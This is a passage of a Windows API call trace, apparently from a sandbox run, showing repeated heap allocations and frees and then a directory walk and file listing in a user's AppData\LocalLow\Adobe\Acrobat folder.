lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.850] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.850] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.851] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.851] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.852] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.852] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.852] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.852] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.852] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.852] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.852] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.852] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.852] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.852] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.852] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.852] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.852] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.852] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.852] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.852] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.852] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.852] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.852] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.852] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.852] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.852] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.853] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.853] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.854] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.854] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.855] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.855] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.856] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.856] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.857] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.857] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.857] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.857] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.857] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.857] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.857] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.857] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.857] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.857] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.857] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.857] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.857] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.857] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.857] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.857] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0118.857] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.857] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941478 [0118.857] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.857] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0118.857] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.857] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941478 | out: hHeap=0xd10000) returned 1 [0118.857] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0118.857] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0118.857] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.857] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0118.857] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0118.857] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0118.857] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.857] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0118.857] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.858] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.858] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0118.858] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.858] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.858] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.858] PathFindFileNameW (pszPath="") returned="" [0118.858] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0118.858] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.858] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdefb68 | out: hHeap=0xd10000) returned 1 [0118.858] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.858] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, 